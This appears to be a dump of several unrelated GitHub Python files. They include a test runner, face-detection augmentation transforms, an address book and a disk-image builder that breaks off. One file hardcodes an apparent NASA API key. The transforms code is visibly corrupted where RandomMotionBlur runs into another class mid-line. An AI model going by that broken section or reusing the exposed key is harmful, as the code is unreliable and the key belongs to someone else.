{})\n","repo_name":"awssamapp/awssamapp","sub_path":"functions/ingest_metadata_downloader/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3210,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"33084830556","text":"\"\"\"\nQuick and dirty test runner for tib\n\"\"\"\n\nimport os\nimport subprocess\nimport time\nimport glob\nfrom collections import namedtuple\n\nTIB_EXEC = '..' + os.path.sep + 'tib'\nTIB_FLAGS = []\n\nTAG_DELIM = '#!'\nARGS = 'args='\nRETV = 'retval='\nDESC = 'desc='\nNAME = 'name='\n\nTestInfo = namedtuple('test_info', ['retval', 'args', 'desc', 'name'])\nTestFailureInfo = namedtuple('test_failure_info', ['info', 'filename', 'reason'])\n\ntests = [y for x in os.walk('.') for y in glob.glob(os.path.join(x[0], '*.tib'))]\ntests_output = [y for x in os.walk('.') for y in glob.glob(os.path.join(x[0], '*.tib.out'))]\n\nstart = time.time()\n\ndef get_test_info(filename):\n file = open(filename)\n\n retval = 0\n args = \"\"\n desc = \"\"\n name = \"\"\n\n line = file.readline()\n\n while line.startswith(TAG_DELIM):\n line = line[len(TAG_DELIM):]\n if line.startswith(RETV):\n retval = int(line[len(RETV):])\n elif line.startswith(ARGS):\n args = line[len(ARGS):].rstrip()\n elif line.startswith(DESC):\n desc = line[len(DESC):]\n elif line.startswith(NAME):\n name = line[len(NAME):]\n \n return TestInfo(retval, args, desc, name)\n\nfailures = []\ncount = 0\n\nfor test in tests:\n count = count + 1\n info = get_test_info(test)\n\n name = test\n if info.name:\n name = info.name\n\n args = '-d'\n if len(info.args) != 0:\n args = info.args\n \n results = subprocess.run([TIB_EXEC, test, args], stdout=subprocess.PIPE)\n\n if results.returncode != info.retval:\n print(results.stdout)\n failures.append(TestFailureInfo(info, test, \"Expected return code {}, got {}\".format(info.retval, results.returncode)))\n continue\n\n if test + '.out' in tests_output:\n output_file = open(test + '.out')\n output = output_file.read().replace('\\r','')\n output_file.close()\n std_out = results.stdout.decode('unicode_escape').replace('\\r','')\n\n if std_out != output:\n print(\"{}\\nGot:\".format(test))\n print(std_out)\n failures.append(TestFailureInfo(info, test, \"Output did not match!\"))\n print(\"\\nExpected:\")\n print(output)\n continue\n else:\n print(\"Warning! {} is missing a correct output file!\".format(test))\n\nprint(\"{}/{} tests passed in {}s\".format(count-len(failures), count, time.time() - start))\n\nfor failure in failures:\n print(\"\\t{filename} \\n\\t\\t{reason}\".format(filename=failure.filename[2:], reason=failure.reason))\n\nprint(\"\\nDone.\") ","repo_name":"jaydenmilne/tib","sub_path":"tests/test-runner.py","file_name":"test-runner.py","file_ext":"py","file_size_in_byte":2543,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"1406747535","text":"import csv\n\n\ndef get_csv_data(filename):\n rows=[]\n with open('D:\\\\VIP_Selenium\\\\SEC12\\\\data\\\\users.csv','r') as f:\n reader = csv.reader(f)\n next(reader)\n for row in reader:\n rows.append(row)\n\n return rows","repo_name":"guozizheng1/VIP_Selenium","sub_path":"SEC12/utils/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"18706740140","text":"import FWCore.ParameterSet.Config as cms\n\nfrom FWCore.ParameterSet.VarParsing import VarParsing\n\noptions = VarParsing('python')\n\noptions.register('inputFilename', 'list', #HTauTauAnalysis_1_1_Sl2.root',\n VarParsing.multiplicity.singleton,\n VarParsing.varType.string,\n \"Input file name\"\n)\n\n\noptions.parseArguments()\n\n\nprocess = cms.Process(\"Demo\")\n\nprocess.load(\"FWCore.MessageService.MessageLogger_cfi\")\n\nprocess.TFileService=cms.Service(\"TFileService\",fileName=cms.string(\"OUT_\"+options.inputFilename+\".root\"))\n\nprocess.maxEvents = cms.untracked.PSet( input = cms.untracked.int32(1) )\n\nprocess.source = cms.Source(\"EmptySource\")\n\nprocess.demo = cms.EDAnalyzer('SignalStudy',\n InputFile = cms.string(options.inputFilename+\".txt\"),\n)\n\n\nprocess.p = cms.Path(process.demo)\n","repo_name":"amkalsi/SomeScripts","sub_path":"SignalStudy/python/run_signalsample.py","file_name":"run_signalsample.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"32740319565","text":"def solution(arr1, arr2):\n row1 = range(len(arr1))\n col1 = range(len(arr1[0]))\n col2 = range(len(arr2[0]))\n answer = [[0 for _ in col2] for _ in row1]\n for i in row1:\n for j in col1:\n for k in col2:\n answer[i][k] += arr1[i][j] * arr2[j][k]\n \n return answer","repo_name":"SIDED00R/Code_training","sub_path":"프로그래머스/lv2/12949. 행렬의 곱셈/행렬의 곱셈.py","file_name":"행렬의 곱셈.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"70472251047","text":"from multiprocessing import Process, Queue, Pool\r\nimport random\r\nimport os\r\nimport time\r\n\r\ndef f(x):\r\n taskid = os.getpid()\r\n print('Run task {}'.format(taskid))\r\n start = time.time()\r\n if x % 2:\r\n y = x\r\n else:\r\n y = 'Even'\r\n try:\r\n f.q.put(x)\r\n except:\r\n pass\r\n time.sleep(1)\r\n end = time.time()\r\n print('Task {} runs {:.2f} seconds.'.format(taskid, end - start))\r\n return y\r\n\r\ndef f_init(q):\r\n # This is a monkey patch, which allows us to modify the\r\n # attributes in run time. Also, methods in python are also objects,\r\n # which allows this f.q operation\r\n f.q = q\r\n\r\nif __name__ == '__main__':\r\n print('Parent process: {}'.format(os.getpid()))\r\n start = time.time()\r\n q = Queue()\r\n # Initializer will be applied to each process in the pool\r\n with Pool(processes=4, initializer=f_init, initargs=[q]) as p:\r\n print(p.map(f, range(4)))\r\n print('Even list: {}'.format([q.get() for i in range(q.qsize())]))\r\n print('Multiprocessing. Time: {}'.format(time.time() - start))\r\n start = time.time()\r\n print(list(map(f, range(4))))\r\n print('Asynchronous. Time: {}'.format(time.time() - start))","repo_name":"jonathanlxy/miaozhen_hackathon","sub_path":"archive/multiprocessing_demo.py","file_name":"multiprocessing_demo.py","file_ext":"py","file_size_in_byte":1213,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"} +{"seq_id":"37531319746","text":"'''Transforms for training the face detection\n'''\nfrom __future__ import division\nimport torch\nimport torchvision.transforms as torch_transforms\nimport math\nimport random #do not use numpy's random libraries for subprocess behavior\nimport numpy as np\nfrom transforms import functional as F\nimport collections\nfrom PIL import Image\nimport cv2\nimport urllib\nfrom utils.box_utils import box_iou, box_clamp, pts_clamp\n\n__all__ = [\"Compose\", \"ToTensor\", \"Normalize\", \"RandomDistort\", \"RandomGrayscale\",\n \"RandomPaste\", \"RandomFlip\", \"RandomCrop\", \"Resize\", \"RandomMotionBlur\",\n \"RandomGaussianNoise\", \"RandomAdjustGamma\", \"RandomCutout\", \"Mosaic\"]\n\n\nclass Compose(object):\n def __init__(self, transforms):\n self.transforms = transforms\n\n def __call__(self, img, boxes, labels, pts, has_pt):\n for k, t in enumerate(self.transforms):\n img, boxes, labels, pts, has_pt = t(img, boxes, labels, pts, has_pt)\n return img, boxes, labels, pts, has_pt\n\nclass ToTensor(object):\n def __init__(self):\n self.to_tensor = torch_transforms.ToTensor()\n def __call__(self, img, boxes, labels, pts, has_pt):\n img = self.to_tensor(img)\n return img, boxes, labels, pts, has_pt\n\nclass Normalize(object):\n def __init__(self, mean, std):\n self.mean = mean\n self.std = std\n self.norm = torch_transforms.Normalize(self.mean, self.std)\n def __call__(self, img, boxes, labels, pts, has_pt):\n img = self.norm(img)\n return img, boxes, labels, pts, has_pt\n\nclass RandomDistort(object):\n def __init__(self, brightness_delta=32/255., contrast_delta=0.5, saturation_delta=0.5, hue_delta=0.1):\n '''A color related data augmentation used in SSD.\n Args:\n img: (PIL.Image) image to be color augmented.\n brightness_delta: (float) shift of brightness, range from [1-delta,1+delta].\n contrast_delta: (float) shift of contrast, range from [1-delta,1+delta].\n saturation_delta: (float) shift of saturation, range from [1-delta,1+delta].\n hue_delta: (float) shift of hue, range from [-delta,delta].\n Returns:\n img: (PIL.Image) color augmented image.\n '''\n self.brightness_delta = brightness_delta\n self.contrast_delta = contrast_delta\n self.saturation_delta = saturation_delta\n self.hue_delta = hue_delta\n\n def __call__(self, img, boxes, labels, pts, has_pt):\n def brightness(img, delta):\n if random.random() < 0.5:\n img = torch_transforms.ColorJitter(brightness=delta)(img)\n return img\n\n def contrast(img, delta):\n if random.random() < 0.5:\n img = torch_transforms.ColorJitter(contrast=delta)(img)\n return img\n\n def saturation(img, delta):\n if random.random() < 0.5:\n img = torch_transforms.ColorJitter(saturation=delta)(img)\n return img\n\n def hue(img, delta):\n if random.random() < 0.5:\n img = torch_transforms.ColorJitter(hue=delta)(img)\n return img\n\n img = brightness(img, self.brightness_delta)\n if random.random() < 0.5:\n img = contrast(img, self.contrast_delta)\n img = saturation(img, self.saturation_delta)\n img = hue(img, self.hue_delta)\n else:\n img = saturation(img, self.saturation_delta)\n img = hue(img, self.hue_delta)\n img = contrast(img, self.contrast_delta)\n return img, boxes, labels, pts, has_pt\n\nclass RandomGrayscale(object):\n def __init__(self, proba=0.3):\n self._proba = proba\n\n def __call__(self, img, boxes, labels, pts, has_pt):\n if random.random() < self._proba:\n img = img.convert(\"L\")\n img = np.array(img)[:, :, None]\n img = np.tile(img, (1, 1, 3))\n img = Image.fromarray(img)\n\n return img, boxes, labels, pts, has_pt\n\nclass RandomPaste(object):\n def __init__(self, max_ratio=4, fill=0, proba=1.):\n '''Randomly paste the input image on a larger canvas.\n If boxes is not None, adjust boxes accordingly.\n Args:\n img: (PIL.Image) image to be flipped.\n boxes: (tensor) object boxes, sized [#obj,4].\n pts: (tensor) object 5_pts, sized [#obj,10].\n max_ratio: (int) maximum ratio of expansion.\n fill: (tuple) the RGB value to fill the canvas.\n Returns:\n canvas: (PIL.Image) canvas with image pasted.\n boxes: (tensor) adjusted object boxes.\n pts: (tensor) adjusted object pts.\n '''\n self.max_ratio = max_ratio\n self.fill = fill\n self.proba = proba\n\n def __call__(self, img, boxes, labels, pts, has_pt):\n if random.uniform(0, 1) < self.proba:\n w, h = img.size\n ratio = random.uniform(1, self.max_ratio)\n ow, oh = int(w*ratio), int(h*ratio)\n canvas = Image.new('RGB', (ow, oh), self.fill)\n\n x = random.randint(0, ow - w)\n y = random.randint(0, oh - h)\n canvas.paste(img, (x, y))\n\n if boxes is not None:\n boxes = boxes + torch.tensor([x, y]*2, dtype=torch.float)\n if pts is not None:\n pts = pts + torch.tensor([x, y]*5, dtype=torch.float)\n return canvas, boxes, labels, pts, has_pt\n else:\n return img, boxes, labels, pts, has_pt\n\nclass RandomFlip(object):\n def __init__(self, proba=0.5):\n '''Randomly flip PIL image.\n If boxes is not None, flip boxes accordingly.\n Args:\n img: (PIL.Image) image to be flipped.\n boxes: (tensor) object boxes, sized [#obj,4].\n pts: (tensor) object pts, sized [#obj,10].\n Returns:\n img: (PIL.Image) randomly flipped image.\n boxes: (tensor) randomly flipped boxes.\n pts: (tensor) randomly flipped pts.\n '''\n self.proba = proba\n\n def __call__(self, img, boxes, labels, pts, has_pt):\n if random.random() < self.proba:\n img = img.transpose(Image.FLIP_LEFT_RIGHT)\n w = img.width\n if boxes is not None:\n xmin = w - boxes[:, 2]\n xmax = w - boxes[:, 0]\n boxes[:, 0] = xmin\n boxes[:, 2] = xmax\n\n if pts is not None:\n last_pts = pts.clone()\n l_eye_x = w - last_pts[:, 2]\n l_eye_y = last_pts[:, 3]\n r_eye_x = w - last_pts[:, 0]\n r_eye_y = last_pts[:, 1]\n nose = w - last_pts[:, 4]\n l_mouse_x = w - last_pts[:, 8]\n l_mouse_y = last_pts[:, 9]\n r_mouse_x = w - last_pts[:, 6]\n r_mouse_y = last_pts[:, 7]\n pts[:, 0] = l_eye_x\n pts[:, 1] = l_eye_y\n pts[:, 2] = r_eye_x\n pts[:, 3] = r_eye_y\n pts[:, 4] = nose\n pts[:, 6] = l_mouse_x\n pts[:, 7] = l_mouse_y\n pts[:, 8] = r_mouse_x\n pts[:, 9] = r_mouse_y\n\n return img, boxes, labels, pts, has_pt\n\nclass RandomCrop(object):\n def __init__(self, min_scale=0.3, max_aspect_ratio=2., proba=1.):\n self.min_scale = min_scale\n self.max_aspect_ratio = max_aspect_ratio\n self.proba = proba\n\n def __call__(self, img, boxes, labels, pts, has_pt):\n if random.random() > self.proba:\n return img, boxes, labels, pts, has_pt\n\n imw, imh = img.size\n params = [(0, 0, imw, imh)] # crop roi (x,y,w,h) out\n min_iou=random.choice([0, 0.1, 0.3, 0.5, 0.7, 0.9])\n #for min_iou in (0, 0.1, 0.3, 0.5, 0.7, 0.9):\n for _ in range(10):\n scale = random.uniform(self.min_scale, 1)\n aspect_ratio = random.uniform(\n max(1/self.max_aspect_ratio, scale*scale),\n min(self.max_aspect_ratio, 1/(scale*scale)))\n w = int(imw * scale * math.sqrt(aspect_ratio))\n h = int(imh * scale / math.sqrt(aspect_ratio))\n\n x = random.randrange(imw - w)\n y = random.randrange(imh - h)\n\n roi = torch.tensor([[x, y, x+w, y+h]], dtype=torch.float)\n ious = box_iou(boxes, roi)\n params.append((x, y, w, h))\n\n if ious.min() >= min_iou:\n params=[(x, y, w, h)]\n break\n\n x, y, w, h = random.choice(params)\n img = img.crop((x, y, x+w, y+h))\n\n center = (boxes[:, :2] + boxes[:, 2:]) / 2\n mask = (center[:, 0] >= x) & (center[:, 0] <= x+w) \\\n & (center[:, 1] >= y) & (center[:, 1] <= y+h)\n if mask.any():\n boxes = boxes[mask] - torch.tensor([x, y]*2, dtype=torch.float)\n boxes = box_clamp(boxes, 0, 0, w, h)\n labels = labels[mask]\n pts = pts[mask] - torch.tensor([x, y]*5, dtype=torch.float)\n # pts = pts_clamp(pts, 0, 0, w, h)\n has_pt = has_pt[mask]\n else:\n boxes = torch.tensor([[0, 0]*2], dtype=torch.float)\n labels = torch.tensor([-1], dtype=torch.long)\n pts = torch.tensor([[0, 0]*5], dtype=torch.float)\n has_pt = torch.tensor([False], dtype=torch.bool)\n return img, boxes, labels, pts, has_pt\n\n\nclass Resize(object):\n def __init__(self, size, max_size=1000, random_interpolation=False):\n '''Resize the input PIL image to given size.\n If boxes is not None, resize boxes accordingly.\n Args:\n img: (PIL.Image) image to be resized.\n boxes: (tensor) object boxes, sized [#obj,4].\n pts: (tensor) object pts, sized [#obj,10].\n size: (tuple or int)\n - if is tuple, resize image to the size.\n - if is int, resize the shorter side to the size while maintaining the aspect ratio.\n max_size: (int) when size is int, limit the image longer size to max_size.\n This is essential to limit the usage of GPU memory.\n Returns:\n img: (PIL.Image) resized image.\n boxes: (tensor) resized boxes.\n Example:\n >> img, boxes, pts = resize(img, boxes, 600) # resize shorter side to 600\n >> img, boxes, pts = resize(img, boxes, (500,600)) # resize image size to (500,600)\n >> img, _, _ = resize(img, None, None, (500,600)) # resize image only\n '''\n self.size=size\n self.max_size = max_size\n self.random_interpolation = random_interpolation\n\n def __call__(self, img, boxes, labels, pts, has_pt):\n w, h = img.size\n if isinstance(self.size, int):\n size_min = min(w, h)\n size_max = max(w, h)\n sw = sh = float(self.size) / size_min\n if sw * size_max > self.max_size:\n sw = sh = float(self.max_size) / size_max\n ow = int(w * sw + 0.5)\n oh = int(h * sh + 0.5)\n else:\n ow, oh = self.size\n sw = float(ow) / w\n sh = float(oh) / h\n\n method = random.choice([\n Image.BOX,\n Image.NEAREST,\n Image.HAMMING,\n Image.BICUBIC,\n Image.LANCZOS,\n Image.BILINEAR]) if self.random_interpolation else Image.BILINEAR\n img = img.resize((ow, oh), method)\n if boxes is not None:\n boxes = boxes * torch.tensor([sw, sh]*2)\n if pts is not None:\n pts = pts * torch.tensor([sw, sh]*5)\n\n return img, boxes, labels, pts, has_pt\n\nclass RandomMotionBlur(object):\n def __init__(self, blur_intensity, direction, proba=0.3):\n self.blur_intensity=blur_intensity\n self.direction=direction\n self.proba=proba\n\n def __call__(self, image, boxes, labels, pts, has_pt):\n image=np.array(image)\n if random.uniform(0,1) self.p:\n continue\n\n b_w, b_h = box[2]-box[0], box[3]-box[1]\n box_scale = min(b_w//w, b_h//h)\n if box_scale < 0.1:\n continue\n\n radio_w = random.uniform(self.min_radio, self.max_radio)\n radio_h = random.uniform(self.min_radio, self.max_radio)\n cut_w = b_w * radio_w\n cut_h = b_h * radio_h\n idx = random.randint(0, int((b_w-cut_w)*(b_h-cut_h)-1))\n y = int(box[1] + idx // (b_w-cut_w))\n x = int(box[0] + idx - (y-box[1]) * (b_w-cut_w))\n img[y:int(y+cut_h), x:int(x+cut_w), :] = 128\n\n img = Image.fromarray(img)\n return img, boxes, labels, pts, has_pt\n\n\nclass Mosaic(object):\n def __init__(self, min_offset=0.35, proba=0.35, transforms=None):\n self.min_offset = min_offset\n self.proba = proba\n self.transforms = transforms\n\n def __call__(self, sample_list, img, boxes, labels, pts, has_pt):\n if random.random() > self.proba:\n return img, boxes, labels, pts, has_pt\n\n img = np.array(img)\n inds = [random.choice(list(range(len(sample_list)))) for i in range(3)]\n new_imgs, new_boxes, new_labels, new_pts, new_has_pts = [img], [boxes], [labels], [pts], [has_pt]\n for ind in inds:\n new_img, new_box, new_label, new_pt, new_has_pt = self.transforms_one_img(sample_list, ind)\n new_imgs.append(np.array(new_img).copy())\n new_boxes.append(new_box.clone())\n new_labels.append(new_label.clone())\n new_pts.append(new_pt.clone())\n new_has_pts.append(new_has_pt.clone())\n\n image_h, image_w = img.shape[:2]\n cut_x = np.random.randint(int(image_w*self.min_offset), int(image_w*(1 - self.min_offset)))\n cut_y = np.random.randint(int(image_h*self.min_offset), int(image_h*(1 - self.min_offset)))\n\n img_szs = []\n img_szs.append((cut_x, cut_y))\n img_szs.append((image_w-cut_x, cut_y))\n img_szs.append((cut_x, image_h-cut_y))\n img_szs.append((image_w-cut_x, image_h-cut_y))\n sws = []\n sws.append([cut_x/image_w, cut_y/image_h])\n sws.append([1-cut_x/image_w, cut_y/image_h])\n sws.append([cut_x/image_w, 1-cut_y/image_h])\n sws.append([1-cut_x/image_w, 1-cut_y/image_h])\n xy_shifts = []\n xy_shifts.append([0, 0])\n xy_shifts.append([cut_x, 0])\n xy_shifts.append([0, cut_y])\n xy_shifts.append([cut_x, cut_y])\n\n out_img = img.copy()\n\n for i in range(len(new_imgs)):\n new_imgs[i] = cv2.resize(new_imgs[i], img_szs[i])\n new_boxes[i] = new_boxes[i] * torch.tensor(sws[i]*2) + torch.tensor(xy_shifts[i]*2)\n new_pts[i] = new_pts[i] * torch.tensor(sws[i]*5) + torch.tensor(xy_shifts[i]*5)\n\n out_img[0:cut_y, 0:cut_x, :] = new_imgs[0]\n out_img[0:cut_y, cut_x:image_w, :] = new_imgs[1]\n out_img[cut_y:image_h, 0:cut_x, :] = new_imgs[2]\n out_img[cut_y:image_h, cut_x:image_w, :] = new_imgs[3]\n\n for k in range(1, len(new_imgs)):\n new_boxes[0] = torch.cat((new_boxes[0], new_boxes[k]), 0)\n new_labels[0] = torch.cat((new_labels[0], new_labels[k]), 0)\n new_pts[0] = torch.cat((new_pts[0], new_pts[k]), 0)\n new_has_pts[0] = torch.cat((new_has_pts[0], new_has_pts[k]), 0)\n\n return out_img, new_boxes[0], new_labels[0], new_pts[0], new_has_pts[0]\n\n\n def transforms_one_img(self, samples, index):\n img_path, annot_path = samples[index]\n if img_path[0:4] == 'http':\n img = Image.open(urllib.request.urlopen(img_path)).convert('RGB')\n img = np.asarray(img)\n pts = []\n with urllib.request.urlopen(annot_path) as f:\n for line in f.readlines():\n items = str(line, encoding = 'utf-8').split()\n items[-1] = items[-1].rstrip()\n pts.append(np.array([float(p) for p in items]))\n\n target = np.zeros((len(pts), 15), dtype=np.float)\n for p_i, pt in enumerate(pts):\n target[p_i] = pt\n\n else:\n img = cv2.imread(img_path)\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n target = np.loadtxt(annot_path, dtype=np.float32)\n target = target.reshape(-1, 15)\n\n assert img is not None and target is not None, 'sample {} have problem!'.format(img_path)\n h, w = img.shape[:2]\n boxes = target[:, :4]\n # x1, y1, w, h -> x1, y1, x2, y2\n boxes[:, 2:4] = boxes[:, 0:2] + boxes[:, 2:4]\n labels = target[:, 4]\n pts = target[:, 5:15]\n has_pt = pts.sum(axis=1) > 0\n\n # convert to torch tensor\n boxes = torch.Tensor(boxes)\n labels = torch.LongTensor(labels)\n pts = torch.Tensor(pts)\n has_pt = torch.BoolTensor(has_pt)\n\n img = Image.fromarray(img)\n if self.transforms is not None:\n img, boxes, labels, pts, has_pt = self.transforms(img, boxes, labels, pts, has_pt)\n\n return img, boxes, labels, pts, has_pt\n\n\n","repo_name":"FlyEgle/OneFace","sub_path":"transforms/transforms.py","file_name":"transforms.py","file_ext":"py","file_size_in_byte":19860,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"53"} +{"seq_id":"38585751328","text":"from phonebook.Record import Record\n# from writers.FileWriter import FileWriter\nfrom utils.InputError import input_error\nfrom exceptions.Exceptions import IncorrectDataType, DuplicateEntry\nfrom collections import UserDict\nprint(__name__)\n\n\ndef save(func):\n def inner(self, *args, **kwargs):\n func(self, *args, **kwargs)\n self.database.save(self.data)\n # end def\n return inner\n# end def\n\n\nclass AddressBook(UserDict):\n # def __init__(self, **config):\n # filename = config.get(\"filename\", \"phonebook.json\")\n # self.database = FileWriter(filename)\n # self.data = self.database.load()\n\n # def __del__(self):\n # self.save()\n\n @input_error\n def find(self, needle):\n return self.data.get(needle, None)\n # end def\n\n @input_error\n # @save\n def add_record(self, record):\n if type(record) != Record:\n raise IncorrectDataType\n # end if\n\n if record.name in self.data.keys():\n if len(record.phones) > 0:\n record.phones.extend(self.data[record.name].phones)\n record.phones = list(set(record.phones))\n return self.modify_record(record)\n else:\n raise DuplicateEntry(\"Контакт\")\n # end if\n # end if\n\n self.data[record.name] = record\n return \"Контакт доданий успішно\"\n # end def\n\n @input_error\n def modify_record(self, record):\n if type(record) != Record:\n raise IncorrectDataType\n # end if\n\n self.data[record.name] = record\n return \"Контакт змінений успішно\"\n # end def\n\n @input_error\n def delete_record(self, name):\n self.data.pop(name)\n return \"Контакт видалений успішно\"\n # end def\n\n def return_phonebook(self):\n for record in self.data.values():\n yield record\n # end for\n # end def\n","repo_name":"AegisVP/goitneo-python-hw-2-group5","sub_path":"phonebook/AddressBook.py","file_name":"AddressBook.py","file_ext":"py","file_size_in_byte":1973,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"39023508524","text":"# Домашнее задание к Уроку 1:\n\nimport requests\nimport json\nfrom pprint import pprint\n\n # Посмотреть документацию к API GitHub, разобраться как вывести список репозиториев для конкретного пользователя,\n # сохранить JSON-вывод в файле *.json.\n\nurl = 'https://api.github.com'\nuser = 'Sharovatov-N'\nheaders = {\n 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) \\\n Chrome/84.0.4147.135 Safari/537.36'\n}\n\nreq = requests.get(f'{url}/users/{user}/repos',headers=headers)\nwith open('data.json', 'w') as f:\n json.dump(req.json(), f)\nfor i in req.json():\n print(i['name'])\n\nprint('*' * 50)\n # Изучить список открытых API. Найти среди них любое, требующее авторизацию (любого типа). Выполнить запросы к нему,\n # пройдя авторизацию. Ответ сервера записать в файл.\n\nurl = 'https://api.nasa.gov/planetary/apod'\nkey = 'G0rV8PEuizVjvE83pRDdmW1jzw9hVAWfccSoFwVG'\n\nparams = {\n 'date': '2020-08-01',\n 'api_key':key\n}\n\nheaders = {\n 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) \\\n Chrome/84.0.4147.135 Safari/537.36'\n}\nresponse = requests.get(url,headers=headers,params=params)\nj_data = response.json()\npprint(j_data)\nwith open('planetary.json', 'w') as f:\n json.dump(response.json(), f)\n","repo_name":"Sharovatov-N/Web_Scraping","sub_path":"lesson_1/lesson 1.py","file_name":"lesson 1.py","file_ext":"py","file_size_in_byte":1562,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"71192347047","text":"from graph_tool.all import *\n\ndef run():\n g = Graph()\n\n v1 = g.add_vertex()\n v2 = g.add_vertex()\n\n e = g.add_edge(v1, v2)\n\n graph_draw(g, vertex_text=g.vertex_index, output=\"two-nodes.pdf\")\n interactive_window(g)","repo_name":"marcomaida/treecode","sub_path":"prototype/packer/ui/experiments/ui_graph_tool.py","file_name":"ui_graph_tool.py","file_ext":"py","file_size_in_byte":230,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"36520342424","text":"from transfermarkt_datasets.core.asset import Asset\nfrom transfermarkt_datasets.core.schema import Schema, Field\n\nclass CurGameLineupsAsset(Asset):\n\n name = \"cur_game_lineups\"\n description = \"\"\"\n The `games_lineups` asset contains one row per game player in the dataset.\n Players are extracted from the game [\"line-ups\"](https://www.transfermarkt.co.uk/spielbericht/aufstellung/spielbericht/3098550) in transfermarkt and they are tied to one particular `game`, identified by the `game_id` column.\n \"\"\"\n file_name = \"game_lineups.csv.gz\"\n\n def __init__(self, *args, **kwargs) -> None:\n super().__init__(*args, **kwargs)\n\n self.schema = Schema(\n fields=[\n Field(\n name='game_lineups_id',\n type='string',\n description=\"Surrogate key\"\n ),\n Field(name='game_id', type='integer'),\n Field(name='player_id', type='integer'),\n Field(name='club_id', type='integer'),\n Field(name='type', type='string'),\n Field(name='player_name', type='string'),\n Field(name='team_captain', type='string'),\n Field(name='number', type='string'),\n Field(name='position', type='string'),\n ]\n )\n\n self.schema.primary_key = [\n 'game_id',\n 'player_id',\n 'club_id',\n ]\n","repo_name":"mhsendur/transfermarkt-datasets","sub_path":"transfermarkt_datasets/assets/cur_game_lineups.py","file_name":"cur_game_lineups.py","file_ext":"py","file_size_in_byte":1279,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"53"} +{"seq_id":"20791350257","text":"#! /usr/bin/env python3.3\n\nfrom assembler import assembler\nimport random\n\ndef stripdir(path):\n path = path[max(path.rfind('/'), path.rfind('\\\\')) + 1:]\n return path [:path.rfind('.')]\n\nclass diskfile:\n def __init__(self, diskname, contents):\n dl = diskname.rfind('.')\n self.name = (diskname[:dl] + '\\0' * 8)[:8]\n self.ext = (diskname[dl + 1:] + '\\0' * 3)[:3]\n self.contents = contents\n self.len = len(contents)\n self.slen = ((self.len - 1) >> 9) + 1\n self.fs = 1 if self.len > 0 else 65535\n\n def getdte(self):\n dte = []\n dte.extend(entropy.stringtodat('\"' + self.name + '\"')) #filename\n dte.extend(entropy.stringtodat('\"' + self.ext + '\"')) #ext and flags\n dte.extend([0, 0, 0, 0, 0, 0]) #times\n dte.extend([0, self.len]) #size in words\n dte.append(self.fs) #first sector\n dte.append(0) #unused\n return dte\n\n def getcontents(self, parentdte):\n return self.contents + [0] * (self.slen * 512 - self.len)\n\n def setoffset(self, amount):\n self.fs = amount if self.len > 0 else 65535\n\n def getfslist(self):\n return [(self.fs, self.name.strip('\\0') + '.' + self.ext.strip('\\0'))]\n\nclass diskdir:\n def __init__(self, diskname):\n self.name = (diskname + '\\0' * 8)[:8]\n self.contents = []\n self.len = 16\n self.slen = 1\n self.fs = 0\n self.diskitems = []\n self.changed = True\n\n def getfslist(self):\n r = [(self.fs, self.name.strip('\\0') + '.dir')]\n for di in self.diskitems:\n r.extend(di.getfslist())\n return r\n\n def getdte(self):\n dte = []\n dte.extend(entropy.stringtodat('\"' + self.name + '\"')) #filename\n dte.extend(entropy.stringtodat('\"dir\"')) #ext\n dte[-1] = dte[-1] | 16 #flags\n dte.extend([0, 0, 0, 0, 0, 0]) #times\n dte.extend([0, len(self.diskitems) * 16 + 16]) #size in words\n dte.append(self.fs) #first sector\n dte.append(0) #unused\n return dte\n\n def additem(self, diskitem, path = ''):\n if path:\n path = path.replace('\\\\', '/')\n sl = path.find('/')\n if sl >= 0:\n ndir = (path + '\\0' * 8)[:min(sl, 8)]\n npath = path[sl + 1]\n else:\n ndir = (path + '\\0' * 8)[:8]\n npath = ''\n for di in self.diskitems:\n if type(di) == diskdir and di.name == ndir:\n di.additem(diskitem, npath)\n break\n else:\n print('Warning: Invalid ondisk path: ' + ndir)\n else:\n self.diskitems.append(diskitem)\n self.len = (len(self.diskitems) + 1) * 16\n self.slen = ((len(self.diskitems)) >> 5) + 1 #-1+1\n self.changed = True\n\n def setoffset(self, amount):\n self.fs = amount\n for i in range(len(self.diskitems)):\n self.diskitems[i].setoffset(amount + self.fsecs[i])\n\n def getfsecs(self):\n self.changed = False\n self.slens = []\n self.fsecs = []\n for di in self.diskitems:\n self.fsecs.append(sum(self.slens) + self.slen)\n if type(di) == diskfile:\n self.slens.append(di.slen)\n elif type(di) == diskdir:\n self.slens.append(di.getfsecs())\n di.setoffset(self.fsecs[-1])\n return sum(self.slens) + self.slen\n\n def getfsecs2(self):\n if self.changed:\n return self.getfsecs()\n else:\n return sum(self.slens) + self.slen\n\n def getfat(self):\n self.getfsecs2()\n fat = []\n if self.diskitems:\n fat.extend(range(self.fs + 1, self.fs + self.slen))\n fat.append(65535)\n for di in self.diskitems:\n if type(di) == diskfile:\n if di.slen > 0:\n fat.extend(range(di.fs + 1, di.fs + di.slen))\n fat.append(65535)\n elif type(di) == diskdir:\n if di.slen > 0:\n fat.extend(di.getfat())\n return fat\n\n def getcontents(self, 